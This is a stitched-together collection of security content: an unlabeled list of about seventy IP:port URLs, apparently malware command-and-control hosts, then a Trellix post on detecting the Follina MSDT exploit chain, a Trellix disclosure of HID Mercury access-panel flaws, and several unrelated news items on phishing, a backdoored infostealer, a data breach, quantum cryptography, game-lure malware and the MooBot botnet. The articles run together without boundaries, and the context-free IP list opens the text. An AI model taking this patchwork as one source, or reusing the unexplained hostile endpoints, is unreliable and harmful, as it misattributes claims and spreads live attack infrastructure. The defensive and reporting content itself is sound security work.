http://196.203.37.106:80
http://186.90.153.39:2222
http://186.90.153.237:2222
http://186.90.153.182:2222
http://186.90.153.116:2222
http://182.191.92.39:995
http://182.191.92.238:995
http://182.191.92.221:995
http://177.94.65.55:32101
http://177.94.65.158:32101
http://177.94.65.146:32101
http://177.189.180.240:32101
http://177.189.180.207:32101
http://177.189.180.135:32101
http://176.45.218.186:995
http://176.45.218.13:995
http://176.45.218.125:995
http://174.80.15.53:2083
http://174.80.15.34:2083
http://174.80.15.165:2083
http://173.21.10.75:2222
http://173.21.10.31:2222
http://173.21.10.116:2222
http://172.115.177.254:2222
https://190.252.242.69:443
http://172.115.177.201:2222
http://172.115.177.127:2222
http://172.115.177.112:2222
http://121.7.223.219:2222
http://121.7.223.20:2222
http://121.7.223.143:2222
http://120.150.218.51:995
http://120.150.218.202:995
http://120.150.218.139:995
http://120.150.218.119:995
http://111.125.245.20:995
http://111.125.245.205:995
http://111.125.245.203:995
http://108.56.213.36:995
http://108.56.213.172:995
http://108.56.213.142:995
http://106.51.48.3:50001
http://106.51.48.248:50001
http://106.51.48.139:50001
http://104.34.212.96:32103
http://104.34.212.33:32103
http://104.34.212.152:32103
http://103.133.11.48:995
http://103.133.11.241:995
http://103.133.11.181:995
http://103.116.178.228:995
http://103.116.178.196:995
http://103.116.178.195:995
http://101.50.67.85:995
http://101.50.67.74:995
http://101.50.67.72:995
http://100.38.242.94:995
http://100.38.242.193:995
http://100.38.242.149:995
http://100.38.242.134:995
http://1.161.79.219:995
http://1.161.79.166:995
http://1.161.79.139:995
https://182.52.159.207
https://89.101.97.204
https://86.97.10.196
https://108.56.213.172:995
https://103.133.11.241:995
https://86.97.246.133:2222
https://39.41.16.109:995
The information presented here describes computer security research for educational purposes only and the convenience of Trellix customers.
Trellix conducts research in accordance with its Vulnerability Reasonable Disclosure Policy | Trellix.
Any attempt to recreate part or all of the activities described is solely at the user’s risk, and neither Trellix nor its affiliates will bear any responsibility or liability.
Countering Follina Attack (CVE- 2022-30190) with Trellix Network Security Platform’s Advanced Detection Features
By Vinay Kumar and Chintan Shah · July 19, 2022
Executive summary
During the end of May 2022, independent security researcher reported a vulnerability (assigned CVE-2022-30190) in Microsoft Support Diagnostic Tool (MSDT), which could be exploited to execute arbitrary code when MSDT is called using URI protocol.
The URI protocol ms-msdt:/ could also be invoked from the malicious word document, which when opened by the victim, would allow malicious code to execute on the target machine with the privileges of the calling application.
In response to the reported vulnerability, Microsoft released the advisory and guidance on disabling the MSDT URI protocol.
Subsequently, the vulnerability, was patched in the June security updates released by Microsoft.
Since then, this vulnerability has been found to be exploited by multiple state actors in targeted attack campaigns.
At Trellix, we are committed to protecting our customers from upcoming and emerging threats on the network inclusive of those that are found being exploited in the wild.
Trellix Network Security Platform’s (Trellix NSP) Intrusion Prevention Research Team strives to build advanced detection features , improving product’s overall Threat Detection capabilities.
Over the next few sections of this blog, we will highlight couple of advanced detection features in Trellix NSP, which helps in protecting the customers against this and future attacks of similar nature.
Introduction
MS Word document exploiting Microsoft Support Diagnostic Tool vulnerability ( CVE- 2022-30190 ) was first found to be submitted to VT on 27th May 2022 from Belarus with the file name 05-2022-0438.doc.
However, the number 0438 turns out to be the Area code of the region Follina in Italy and hence the name.
Exploit document is not found to be connected to Italy in any way.
There is no dearth of instances where one of the MS Office’s core features, Object Linking and Embedding ( OLE ) have been abused as an initial attack vector and CVE-2022-30190 was no different.
This was yet another classic example of chaining OLE with another logic flaw to achieve arbitrary code execution on the target machine.
Traditionally, Object Linking and Embedding had significantly contributed to building weaponized office exploits, and we believe this will continue to happen.
As with previous CVE-2021-40444 and many other exploits, OLE was found to be used for linking the document to the externally hosted object, in this case, html file.
MS Office Open XML specifications mentions that an Office Open XML document facilitates embedding objects or link to external objects which can be specified via relationships.
Any embedded or linked object specified in the container application ( OOXML document in this case ) must be identified by its unique ProgID string.
As per the specifications, this string must be used to determine the type and the application used to load the object data.
An excerpt from the document specifications is as shown below:
As documented in the ISO-29500-4 specifications ST_OLEType defines the type of the OLE object in document.xml, either linked or embedded and the ProgID=”htmlfile” indicates the type of linked object data.
As shown in the CVE-2022-30190 exploit document below, document.xml.rels file with Type attribute specifying relationship as “oleObject”, Target attribute set to the OLE object link and TargetMode set as external.
This allows the crafted document to link to the externally hosted potentially malicious object and invoke the respective protocol handlers for rendering the object which could lead to the exploitation of potential logic flaws in object renderers.
As we notice the document.xml.rels file, it contains an external reference to the malicious domain for retrieving the html file :hxxps://www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html!.
Hosted html file on this domain contains script block with commented lines.
This is required for making the HTML file sufficiently sized ( precisely greater than 4KB ) to be able to get it processed and rendered by mshtml.dll.
Subsequently, script tries to invoke PCWDiagnostic package using MSDT URI protocol handler with multiple arguments out of which one argument is IT_BrowseForFile which can take embedded PowerShell script within $( ) as an argument , resulting into code execution.
PowerShell script is Base64 encoded and decoded form is of the script is as shown below.
As we see in the decoded payload, the script is intended to run the malicious rgb.exe on the target system.
Summarizing the sequence involved in the attack:
Malicious MS office document with linked object is delivered to the victim possibly, as a part of phishing campaign.
On clicking the document, malicious HTML script is rendered, leading to arbitrary code execution on the affected system.
Windows system registers innumerable number of URI protocol handlers which could be potentially abused to exploit similar flaws.
For instance, search-ms URI protocol handler , used to query windows search indexing feature can be abused by the attackers to connect to the remote SMB share on the attacker-controlled server.
However, it does not directly lead to code execution as it requires multiple levels of user interaction, but a query can be crafted to lure the users to execute legitimate looking executables as shown below.
Both these of URI protocol attacks were first reported here.
How Trellix NSP protects against Follina
Trellix NSP has been one of the most advance and mature IPS in the security industry.
Over a period, we developed some of the cutting-edge features to deal with complex attack scenarios which involved handling encoding, compressions, and complex file formats.
Microsoft Office Deep File Inspection and Multi Attack ID Correlation being some of these.
We use combination of these advance capabilities to detect entire attack cycle.
In the following sections, we will try to understand how Trellix Network Security Platform’s advanced inspection capabilities highlighted above can help correlate multiple low or medium severity events to detect phases in the attack cycle, thereby raising overall confidence level.
Microsoft Open Office XML(OOXML) file format
OLE File format which was traditionally used in Microsoft office is replaced with Office open xml.
Office Open XML (OOXML) is a zipped, XML-based file format developed by Microsoft for representing spreadsheets, charts, presentations, and word processing documents.
In a nutshell this means that the whole document is contained in a zip package.
Multiple files and directories together form the document.
There are directories like [Content_Types].xml , _rels, docProps, which are basic part of all office zip packages, and then there is a directory specific to document type (word directory for docx, xl and ppt directory for xlsx and pptx respectively).
For each of the document type the specific directory would contain different files limited to the type.
Like in case of a docx type, the ‘word’ directory contains document.xml file which has the core content of the document.
Here is a brief overview about important files under these directories:
[Content_Types].xml
This file contains the MIME type information for parts of the package.
It uses defaults for certain file extensions and overrides for parts specified by Internationalized Resource Identifier.
_rels
This directory contains the relationship information for files within the package.
_rels/.rels
This is the location where applications look first to find the package relationships.
docProps/core.xml
This file contains the core properties for any Office Open XML document.
word/document.xml
This file is the main part for any Word document.
Zip file format specification specifies that a file in the zip archive is stored in a file record structure.
For each file in the zip archive, there is a corresponding entry of this structure.
[local file header 1]
[file data 1]
[data descriptor 1]
[local file header n]
[file data n]
[data descriptor n]
[archive decryption header]
[archive extra data record]
[central directory header 1]
[central directory header n]
[zip64 end of central directory record]
[zip64 end of central directory locator]
[end of central directory record]
These structures are placed one after another, structure starts with local file header followed by optional Extra Data Fields and file data (optionally compressed/optionally encrypted).
Local header contains details about the file data, encryption/compression mechanism along with filename, file size and few more things.
Local file header
Offset 	Byte 	Description
0 	4 	Local file header signature # 0x04034b50 (read as a little-endian number)
4 	2 	Version needed to extract (minimum)
6 	2 	General purpose bit flag
8 	2 	Compression method
10 	2 	File last modification time
12 	2 	File last modification date
14 	4 	CRC-32
18 	4 	Compressed size
22 	4 	Uncompressed size
26 	2 	File name length (n)
28 	2 	Extra field length (m)
30 	n 	File Name
30+n 	m 	Extra Field
0 	4 	Local file header signature # 0x04034b50 (read as a little-endian number)
4 	2 	Version needed to extract (minimum)
6 	2 	General purpose bit flag
For Microsoft documents, deflate compression is used commonly.
In a nutshell, the files which constitutes the document are stored in possibly encrypted/compressed format inside the zip package.
In the figure below, we dissect this structure for document.xml file present under word directory with a hex editor (010 editor) with zip parsing capabilities which will help us to investigate the details –
Need for deep file inspection
We have seen in the past that different vulnerabilities may require the IPS devices to examine the content of the different files present inside zip package.
Same is the case with Follina.
As explained earlier, this vulnerability abuses Microsoft OOXML Object Linking and Embedding functionality linking a file to external resource via the relationship file to load malicious content.
Hence it requires the detection device to check the external references used in word/rels/document.xml.rels file.
Structure of document.xml.rels
Since this file is present, as a compressed entity in the zip archive, a meaningful detection with IPS cannot be done until the file is decompressed.
With NSP’s unique in industry capability, known as Deep File inspection, this is possible.
This is implemented using protocol parsing capability of the NSP.
The local file header structure for the specific file is parsed and the compressed data of the file is decoded.
This feature can be used by enabling it from the inspection option policy.
For more details, please refer to NSP documentation
Some of the key highlights: deep file inspection
This feature helps to decompress the file contents inline; the complete file is not required to be downloaded for inspection
It also gives the flexibility to decompress only the content of a selected file (individual file present inside zip achieve), yielding better performance since the whole zip archive is not required to be decompressed .
The individual files (which are part of zip package) can be controllably decompressed by specifying byte limit per file.
This plays a great role in improving performance while doing inline inspection.
Trellix NSP Attack ID 0x452a8400 - HTTP: OLE Object Linking Detected in OOXML File – uses the Microsoft Office Deep file inspection feature to detect signs of external object linking.
However, just checking for external OLE references will not be sufficient until it is ascertained that the external URI does the malicious activity.
Since we know that external URI loads the HTML which invokes the MSDT handler in a malicious fashion.
Invoking MSDT through HTML content is detected by Trellix NSP Attack ID 0x452ac200 – HTTP: Microsoft Support Diagnostic Tool Remote Code Execution Vulnerability (CVE-2022-30190)
Detecting the attack chain using multi attack ID Correlation
The attack visualization is better when the dots can be connected between different stages of the attack.
Multi Attack ID Correlation capability helps achieve this by correlating multiple attacks.
Trellix NSP Attack ID 0x43f02000 HTTP: Microsoft Support Diagnostic Tool RCE Vulnerability (CVE-2022-30190) utilizes this capability and correlates “HTTP: OLE Object Linking Detected in OOXML File (0x452a8400) ” and “HTTP: Microsoft Support Diagnostic Tool Remote Code Execution Vulnerability (CVE-2022-30190) (0x452ac200)” to generate corelated attack event.
The alert generated using Multi AID correlation is of high confidence and severity and helps security admins to take further actions.
This feature is built into Trellix NSP by default and there is no extra configuration required to enable it.
Some of the key highlights: multi attack ID Correlation
Two or more attacks can be correlated
Provides capability to quarantine the attacker (configurable from the policy)
Correlation using attributes like –
source-IP/destination IP: This attribute helps correlating attack originating from same source IP and/or targeted to the same destination IP .
Lifetime: max time interval in which all correlation signature event should occur
Threshold: Detection of attack happening repeatedly in a specific period.
With these strong correlation capabilities for the complete attack cycle, Trellix Network Security Platform’s Threat Detection solution balances the effectiveness and performance extremely well.
The Trellix NSP research and Engineering team actively monitors and keeps an eye on emerging threat patterns ,builds the features and capabilities to enhance overall detection efficacy of the Intrusion Prevention System.
Conclusion
We have seen multiple vulnerabilities in the past using exploitation techniques similar in nature and this is yet another addition to the series.
In our previous blog, outlining the current state of memory corruption vulnerabilities and the challenges faced in exploiting them, we also highlighted the exploitation strategies of the future and the Follina attack very well validates our prediction.
While exploiting different classes of memory corruption vulnerabilities can be eliminated by introducing mitigations as either operating system or hardware level, vulnerabilities exploiting design flaws will remain a challenge.
Perimeter and endpoint security solutions will have to evolve to address those challenges by introducing the innovative inspection and detection techniques alongside applying secure software design and development practices during application development.
Trellix Threat Labs Uncovers Critical Flaws in Widely Used Building Access Control System
By Steve Povolny, Sam Quinn · June 9, 2022
Today at the Hardwear.io Security Trainings and Conference, Trellix Threat Labs is sharing new research into vulnerabilities in an industrial control system (ICS) used to grant physical access to privileged facilities and integrate with more complex building automation deployments.
The Trellix Threat Labs vulnerability research team has a keen interest in threats to ICS and operational technology (OT), the hardware and software that, according to Gartner, Inc, detects or causes a change, through the direct monitoring and/or control of industrial equipment, assets, processes and events.
For our latest project, we decided to investigate a topically interesting product that aligns with Trellix’s mission to help organizations build cyber resilience through a stronger security posture.
Our research was performed on HID Mercury access control panels, used by organizations across healthcare, education, transportation, and government for physical security.
More than 20 OEM partners provide access control solutions with Mercury boards.
Carrier LenelS2 is one of these vendors and worked closely with us to facilitate the disclosure to HID Mercury.
Through our research, we found four zero-day vulnerabilities and four previously patched vulnerabilities, never published as CVEs.
The impact of these vulnerabilities is full system control, including the ability for an attacker to remotely manipulate door locks.
A demo video can be viewed here.
Critical Flaws in Widely Used Building Access Control System
Can we hack it?
Yes, we can!
When the vulnerability research team starts a research project, we always assume that flaws in the hardware or software being investigated will be found.
We chose this specific access control panel to research because of its ubiquitous use, the volume and criticality of industries they are used in, the security certifications the product has received and overall position in the market.
For this project, we anticipated a strong potential for finding vulnerabilities, knowing that the access controller was running a Linux Operating System and root access to the board could be achieved by leveraging classic hardware hacking techniques.
While we believed flaws could be found, we did not expect to find common, legacy software vulnerabilities in a relatively recent technology.
Full system control
Analysis begins at the lowest level of hardware.
By using the manufacturer’s built-in ports, we were able to manipulate on-board components and interact with the device.
Combining both known and novel techniques, we were able to achieve root access to the device’s operating system and pull its firmware for emulation and vulnerability discovery.
To achieve system control, we used a phased approach:
Physical Access: Utilizing hardware hacking techniques, we were able to use on board debugging ports, often used during the manufacturing process, to force the system into desired states, bypassing security measures.
Through these steps, we gained root access and could access the system’s firmware and modify startup scripts to ensure continued access for research activity.
Network Access: With the firmware and system binaries in hand, we began to home in on software that was accessible from the network.
Through reverse engineering and live debugging, we discovered six unauthenticated and two authenticated vulnerabilities exploitable remotely over the network.
Exploitation: By chaining just two of the vulnerabilities together, we were able to exploit the access control board and gain root level privileges on the device remotely.
With this level of access, we created a program that would run alongside of the legitimate software and control the doors.
This allowed us to unlock any door and subvert any system monitoring.
Uncovering critical vulnerabilities
Most significantly, the vulnerabilities uncovered allowed us to demonstrate the ability to remotely unlock and lock doors, subvert alarms and undermine logging and notification systems.
The highest CVE, an unauthenticated Remote Code Execution (RCE), received a base score of 10.0 CVSS, the maximum score for a vulnerability.
CVSS scoring is not universally consistent and may be interpreted differently depending on the target and application.
CVE 	Detail Summary 	Mercury Firmware Version 	CVSS Score
CVE-2022-31479 	Unauthenticated command injection 	<=1.291 	Base 9.0, Overall 8.1
CVE-2022-31480 	Unauthenticated denial-of-service 	<=1.291 	Base 7.5, Overall 6.7
CVE-2022-31481 	Unauthenticated remote code execution 	<=1.291 	Base 10.0, Overall 9.0
CVE-2022-31486 	Authenticated command injection 	<=1.291 (no patch) 	Base 8.8, Overall 8.2
CVE-2022-31482 	Unauthenticated denial-of-service 	<=1.265 	Base 7.5, Overall 6.7
CVE-2022-31483 	Authenticated arbitrary file write 	<=1.265 	Base 9.1, Overall 8.2
CVE-2022-31484 	Unauthenticated user modification 	<=1.265 	Base 7.5, Overall 6.7
CVE-2022-31485 	Unauthenticated information spoofing 	<=1.265 	Base 5.3, Overall 4.8
Table 1 - CVE Filings for Mercury Access Control Vulnerabilities
HID Global has confirmed that all OEM partners using Mercury boards are vulnerable to the issues on specific hardware controller platforms.
This research is actionable for vendors and third parties that collaborate with companies like Carrier to install physical access systems.
Customers using HID Global Mercury boards should contact their Mercury OEM partner for access to security patches prior to weaponization by malicious threat actors, which could lead to both digital or physical breaches of sensitive information and protected locations.
Risk to OT & ICS
According to a study done by IBM in 2021, the average cost of a physical security compromise is 3.54 million dollars and takes an average of 223 days to identify a breach.
The stakes are high for organizations that rely on access control systems to ensure the security and safety of facilities.
Per the Cybersecurity and Infrastructure Security Agency (CISA) in the U.S., “ICS security presents unique challenges…Most importantly, ICS manage physical operational processes, the increasing convergence of information technology (IT) and operational technology (OT) creates opportunities for exploitation that could result in catastrophic consequences, including loss of life, economic damage, and disruption of the National Critical Functions (NCFs) upon which society relies.”
While the stakes are already high, they are still growing.
Supporting organizations to get ahead of threats to industrial systems is a national security imperative.
Groups like CISA have launched priorities, goals, and best practices to ensure the attack surface of ICS is defended from urgent threats and long-term risks.
Public and private partnership is critical for national security and our ability to defend against bad actors.
To do our part to ensure vulnerabilities are managed and remediated, Trellix Threat Labs briefed our government agency partners and corresponding intelligence communities on these findings.
On June 2nd, 2022, CISA published a bulletin referencing our findings – more details can be found here.
It is important for consumers to note that the vulnerabilities disclosed today may seem like they have little impact, but critical infrastructure attacks do impact our daily lives.
A note on certifications
One of the key factors that attracted us to this product was the certification and testing requirements it was marketed to have met.
While these certifications were legitimate, it’s important for users and researchers to note that these labels do not necessarily connote rigorous testing or auditing and do not reflect the actual state of security of the device or software itself.
This device for example was certified for Federal government usage and added to the Government Service Administration (GSA) Approved Product List (APL) which may signal to a purchaser that the product is highly vetted.
It is crucial to independently evaluate the certifications of any product prior to adding it into an IT or OT environment.
Solutions
Carrier has released a new advisory on its product security page with specifics of the flaws and recommended mitigations and firmware updates.
Applying vendor patches should be the first course of action, whenever possible.
We also want to give a shout out to Carrier for how they approached the disclosure and how effective they were to work with.
It was a wonderful experience interacting with their security team during the process of getting these vulnerabilities patched and publicly disclosed.
It’s worth pointing out that the vulnerabilities discovered were not in any software under Carrier’s control, but as one of the OEM partners of the boards, they felt responsible for helping facilitate the disclosure process with HID Mercury.
Trellix customers can use the following signatures on the IPS platform to detect exploitation attempts for CVE-2022-31486.
SID 	Signature Name
85320442 	Command Injection Attempt Using Port Listening Utility (CVE-2022-31486)
85320443 	Command Injection Attempt Using Port Listening Utility (CVE-2022-31486)
85320444 	Command Injection Attempt Using Port Listening Utility (CVE-2022-31486)
85320445 	Command Injection Attempt Using Port Listening Utility (CVE-2022-31486)
85320446 	Command Injection Attempt Using Port Listening Utility (CVE-2022-31486)
85320447 	Command Injection Attempt Using Port Listening Utility (CVE-2022-31486)
Table 2 - Trellix IPS Signatures for CVE-2022-31486
Thousands lured with blue badges in Instagram phishing attack
A new Instagram phishing campaign is underway, attempting to scam users of the popular social media platform by luring them with a blue-badge offer.
Blue badges are highly coveted as Instagram provides them to accounts it verified to be authentic, representing a public figure, celebrity, or brand.
The spear emails in the recently observed phishing campaign inform recipients that they Instagram reviewed their accounts and deemed them eligible for a blue badge.
Users falling for the scam are urged to fill out a form and claim their verification badge in the next 48 hours.
While the campaign shows signs of fraud, the threat actor bets on the carelessness and enthusiasm Instagram users have when faced with the opportunity to upgrade the status of their social account.
Campaign details
The new campaign was spotted by threat analysts at Vade, an AI-based email security service, who reported that the first messages to targets were sent out on July 22.
During the deployment, email distribution volumes spiked twice, once on July 28 and again on August 9, 2022, with more than 1,000 phishing messages per day.
The messages feature Instagram and Facebook logos and inform the recipient that their account is eligible for a blue badge, urging them to click on an embedded button that would take them to the relevant submission form.
The users are warned that if they ignore the message, the form will be permanently deleted in 48 hours, creating a sense of urgency and the illusion of a limited opportunity.
The phishing form is hosted on a domain named “teamcorrectionbadges”, to make it appear as if Instagram uses a separate, dedicated domain to verify users.
The phishing process on that site relies on a three-stage form, each step showing Instagram, Facebook, WhatsApp, Messenger, and Meta logos, in an attempt to create a sense of legitimacy.
The first form requests “username”, the second asks the victim to enter “name”, “email”, and “phone number”, while the third and final step requests entering the user “password”, to supposedly verify that they own the account.
Once the victim completes the process, a message informs them that their account is now verified and that the Instagram team will contact them in the next two days.
A phony case ID is also presented at this final step.
How Instagram badges work
To understand how you can protect yourself from these scams, it is essential to know how Instagram’s verification program actually works.
First, the social media platform will never contact you offering a blue badge.
Users can only get it by applying themselves.
Secondly, applying for verification is only possible through the official platform, never by visiting a separate domain.
Thirdly, Instagram blue badges are reserved for notable public figures, celebrities, and brands, so regular accounts aren’t eligible.
Phishing actors have been taking advantage of the vanity that characterizes many Instagram users.
Campaigns targeting social media users with phishing emails are very popular and are not limited to Instagram.
To safeguard your account, Instagram offers two-factor authentication for additional security, so even if you give away all your details to phishing actors, losing access to your account would be more complicated.
Dev backdoors own malware to steal data from other hacker
Cybercriminals using Prynt Stealer to collect data from victims are being swindled by the malware developer, who also receives a copy of the info over Telegram messaging service.
The malware developer has planted in the builder for the infostealer a backdoor that is present in every resulting copy that is being rented to cybercriminals for prices between $100 per month or $700 per year to $900 for a lifetime subscription.
Prynt Stealer can steal cryptocurrency wallet information, sensitive info stored in web browsers (credentials credit cards), VPN account data, cloud gaming account details.
Cyble analyzed Prynt Stealer back in April 2022 and highlighted that it included inactive code for a clipper and keylogger, both being unusual functions for an infostealer.
The data that Prynt Stealer grabs is typically compressed and exfiltrated through a Telegram bot to a channel controlled by the cybercriminal.
However, according to a report from cloud security company Zscaler, the malware comes with an additional, hardcoded Telegram token and ID to send stolen data to the author behind the operator's back.
Built for scamming
Prynt Stealer is based on the code of the AsyncRAT remote access tool and the StormKitty infostealer.
The developer made some minor modifications to some of the features and removed others.
Zscaler's researchers also note that Prynt Stealer is very similar to the malware families WorldWind and DarkEye, suggesting that the same author is behind them.
Prynt Stealer's builder is meant to help unskilled cybercriminals configure the malware for deployment, setting all parameters and letting the automated tool do the work.
Zscaler's analysts acquired a leaked copy of the builder and found that during execution, a loader fetches 'DarkEye Stealer' from Discord and configures it to exfiltrate data to the author.
DarkEye is a variant of Prynt Stealer, the difference between them being that the clipper and keylogger functionality is enabled in the former and disabled in the latter.
In addition, the malware author configures the builder to drop and execute LodaRAT, an old (2017) yet powerful trojan, that enables remote actors to take control of the infected system, steal information, fetch additional payloads, etc.
Now that the backdoor in Prynt Stealer has been exposed, the cybercriminals using it are likely to look elsewhere.
It looks like the Prynt Stealer author already has two products waiting, since they are not currently actively promoted hacking forums.
Nelnet Servicing breach exposes data of 2.5M student loan accounts
Data for over 2.5 million individuals with student loans from Oklahoma Student Loan Authority (OSLA) and EdFinancial was exposed after hackers breached the systems of technology services provider Nelnet Servicing.
Technology services from Nelnet Servicing, including a web portal, are used by OSLA and EdFinancial to give online access students taking out a loan access to their loan accounts.
Sometime in June, unidentified intruders compromised Nelnet Servicing and stayed on  its systems until July 22.
The hackers compromised the company's network likely after exploiting a vulnerability.
About 2,501,324 individuals have been impacted by  the breach.
A sample notification letter to impacted parties sent to the Office of the Maine Attorney General as part of the data breach disclosure process, Nelnet Servicing has informed OSLA and EdFinancial, who are notifying their customers.
Although Nelnet states it blocked the cyberattack as soon as the breach was detected, a subsequent investigation that was completed on August 17, 2022, determined that certain student loan account registration information might have been accessed.
The exposed information includes the following: Full name Physical address Email address Phone number Social Security Number
The letters clarify that no financial account numbers or any form of payment information were exposed due to the security incident.
EdFinancial also underlines that not all its clients are hosted by Nelnet Servicing, so not all students that took a loan through them are impacted by the data breach.
Threat actors with access to the aforementioned information may engage in phishing attacks, social engineering, impersonation, and various scamming schemes.
As the topic of loans is particularly sensitive, the risk of exposure is amplified.
Due to the seriousness of this data breach incident, law firm "Markovits, Stock & DeMarco" yesterday launched an investigation on the potential of a class action lawsuit.
Both EdFinancial and OSLA offer impacted individuals free access to a 24-month identity theft protection service through Experian, with instructions on how to enroll enclosed in the letters.
“We encourage you to remain vigilant against incidents of identity theft and fraud over the next 24 months, by reviewing your account statements and monitoring your free credit reports for suspicious activity and to detect errors,” reads to notice sent to affected borrowers.
It is recommended that recipients of the notices take immediate action to protect themselves from fraud by enrolling in Experian’s IdentityWorks service and remaining vigilant against all incoming communication.
Monitoring bank account statements and requesting a credit report is also advisable.
Finally, placing a credit freeze should be considered for high-risk cases.
Instructions on how to do that are included in the distributed notices.
CISA: Prepare now for quantum computers, not when hackers use them
Although quantum computing is not commercially available, CISA (Cybersecurity and Infrastructure Security Agency) urges organizations to prepare for the dawn of this new age, which is expected to bring groundbreaking changes in cryptography, and how we protect our secrets.
The agency published a paper earlier in the week, calling for leaders to start preparing for the migration to stronger secret guarding systems, exploring risk mitigation methods, and participating in developing new standards.
Race to Quantum supremacy
Quantum computers are systems that harness quantum mechanics to perform much more powerful computations than are available today on systems that rely on binary (0, 1) computations.
Experts in the field widely accept that the currently experimental quantum computers will achieve superiority over conventional systems by the end of the decade and will quickly render them obsolete with subsequent capability leaps.
This is expected to revolutionize research, solve long-standing mathematical problems, perform higher-level physics simulations, and accelerate the development of artificial intelligence models.
The main negative implication of this quantum computing concerns the cryptography of secrets, a fundamental element of information security.
Cryptographic schemes that are today considered secure will be cracked in mere seconds by quantum computers, leaving persons, companies, and entire countries powerless against the computing supremacy of their adversaries.
“When quantum computers reach higher levels of computing power and speed, they will be capable of breaking public key cryptography, threatening the security of business transactions, secure communications, digital signatures, and customer information,” explains CISA.
This could threaten data in transit relating to top-secret communications, banking operations, military operations, government meetings, critical industrial processes, and more.
Yesterday, China's Baidu introduced “Qian Shi,” an industry-level quantum supercomputer capable of achieving stable performance at 10 quantum bits of power.
Baidu also stated that it recently completed the design of a 36-qubit superconducting quantum chip with couplers, which threatens to surpass the strength of the leading American quantum machine, IonQ Aria, which tops at 20 qubits.
Other companies in the race for quantum supremacy are Intel, IBM, Microsoft, and Google, all competing to advance the field.
Preparing for the new age
Research into quantum-secure encryption algorithms is already underway, and NIST (National Institute of Standards and Technology) plans to publish official guidelines on the topic by the end of 2024.
Until then, CISA recommends that all stakeholders follow the “post-quantum cryptography roadmap”, which can be summarized in the following:
CEOs should increase their engagement with post-quantum standards developing organizations.
Organizations should inventory the most sensitive and critical datasets that must be secured for an extended amount of time.
Organizations should conduct an inventory of all the systems using cryptographic technologies for any function to facilitate a smooth transition in the future.
Cybersecurity officials within organizations should identify acquisition, cybersecurity, and data security standards that will require updating to reflect post-quantum requirements.
Organizations should identify where and for what purpose public key cryptography is being used and mark those systems as quantum vulnerable.
Prioritize one system over another for cryptographic transition based on the organization’s functions, goals, and needs.
Using the inventory and prioritization information, organizations should develop a plan for systems transitions upon publication of the new post-quantum cryptographic standard.
“Do not wait until the quantum computers are in use by our adversaries to act.
Early preparations will ensure a smooth migration to the post-quantum cryptography standard once it is available,” concludes the agency.
Minecraft is hackers’ favorite game title for hiding malware
Security researchers have discovered that Minecraft is the most heavily abused game title by cybercriminals, who use it to lure unsuspecting players into installing malware.
Based on stats collected by the security firm between July 2021 and July 2022, Minecraft-related files accounted for roughly 25% of malicious files spreading via game brand abuse, followed by FIFA (11%), Roblox (9.5%), Far Cry (9.4%), and Call of Duty (9%).
Other game titles with notable percentages of abuse during this period are Need for Speed, Grand Theft Auto, Valorant, The Sims, and GS:GO.
On the mobile space, Kaspersky recorded much smaller distribution volumes than those seen on PC gaming.
Yet, Minecraft dominates this category, too, with a 40% share, followed by GTA (15%), PUBG (10%), Roblox (10%), and FIFA (5%).
In terms of yearly trends, Kaspersky reports seeing a drop in both the volumes of distribution (-30%) and the number of affected users (-36%) compared to 2020.
Why hackers use games as lures
Some recent examples of hiding malware in packages promoted as game cheats, installers, keygens, or as the games themselves are the following:
Minecraft alt lists on gaming forums dropping Chaos ransomware
NPM packages posing as Roblox libraries delivering ransomware and password stealers
Games clones on the Microsoft Store containing malware loaders
Valorant cheats promoted via YouTube dropping info-stealing malware
The reason why hackers leverage game titles to lure people is mainly the massive targeting pool, as the abused game titles attract the interest of tens of millions of people.
Moreover, modern games almost always involve the in-game economy aspect, so promises for “easy progress” through hacks, valuable items, and cheats of all kinds are enticing to users.
Fake money generator for GTA
Fake money generator for GTA (Kaspersky)
Kaspersky highlights a few examples of fraudulent in-game item stores that cloned originals, tricking players into paying for items they’ll never receive while also phishing their account credentials.
Fraudulent in-game items shop
Fraudulent in-game items shop (Kaspersky)
Games themselves often have a prohibitory cost for some people who then seek pirated alternatives.
Other games are in a closed beta development status, excluding many interested individuals, causing users to search for different ways to gain access.
Hackers exploit these conditions by offering fake pirated versions of phony beta testing launchers.
Finally, because many game-related mods, cheats, and tools are made by unofficial one-person projects and face false positive security detections, many developers warn victims to disable antivirus before installing them.
Due to this, gamers may ignore AV warnings and execute detected malware programs on their systems.
What files are dropped
Kaspersky’s statistics indicate that most malicious files targeting players are downloaders, accounting for 88.5% of all detected infection cases.
Threats distributed by files under the guise of game titles
Threats distributed by files under the guise of games (Kaspersky)
Other threat types with substantial percentages are adware (4.2%), and trojans that can steal user data or give threat actors remote access to the host machine (3%).
Downloaders take the lion’s share because they can come up clean on internet security scans but fetch riskier payloads at a second stage when the user executes the program.
In many cases, according to Kaspersky, info-stealers, cryptocurrency miners, or both are dropped onto the victim’s computer.
As always, be careful of downloading free software from the Internet and only do so from trusted sites.
Furthermore, if any developer states that you must disable antivirus to properly run the program, you should stay far away from it, as there is no limit to the malicious behavior that can be performed.
Moobot botnet is coming for your unpatched D-Link router
The Mirai malware botnet variant known as ‘MooBot’ has re-emerged in a new attack wave that started early last month, targeting vulnerable D-Link routers with a mix of old and new exploits.
MooBot was discovered by analysts at Fortinet in December 2021, targeting a flaw in Hikvision cameras to spread quickly and enlist a large number of devices into its DDoS (distributed denial of service) army.
Today, the malware has refreshed its targeting scope, which is typical for botnets looking for untapped pools of vulnerable devices they can ensnare.
According to a report compiled by Palo Alto Network’s Unit 42 researchers, MooBot is now targeting the following critical vulnerabilities in D-Link devices:
CVE-2015-2051: D-Link HNAP SOAPAction Header Command Execution Vulnerability
CVE-2018-6530: D-Link SOAP Interface Remote Code Execution Vulnerability
CVE-2022-26258: D-Link Remote Command Execution Vulnerability
CVE-2022-28958: D-Link Remote Command Execution Vulnerability
Payload used for exploiting CVE-2022-26258
Payload used for exploiting CVE-2022-26258 (Unit 42)
The vendor has released security updates to address these flaws, but not all users have applied the patches yet, especially the last two, which became known in March and May this year.
MooBot’s operators leverage the low-attack complexity of the flaws to gain remote code execution on the targets and fetch the malware binary using arbitrary commands.
MooBot's attack overview
MooBot's latest attack overview (Unit 42)
After the malware decodes the hardcoded address from the configuration, the newly captured routers are registered on the threat actor’s C2.
It’s important to note that the C2 addresses presented in Unit 42’s report differ from those in Fortinet’s write-up, indicating a refresh in the threat actor’s infrastructure.
Eventually, the captured routers participate in directed DDoS attacks against various targets, depending on what MooBot’s operators wish to achieve.
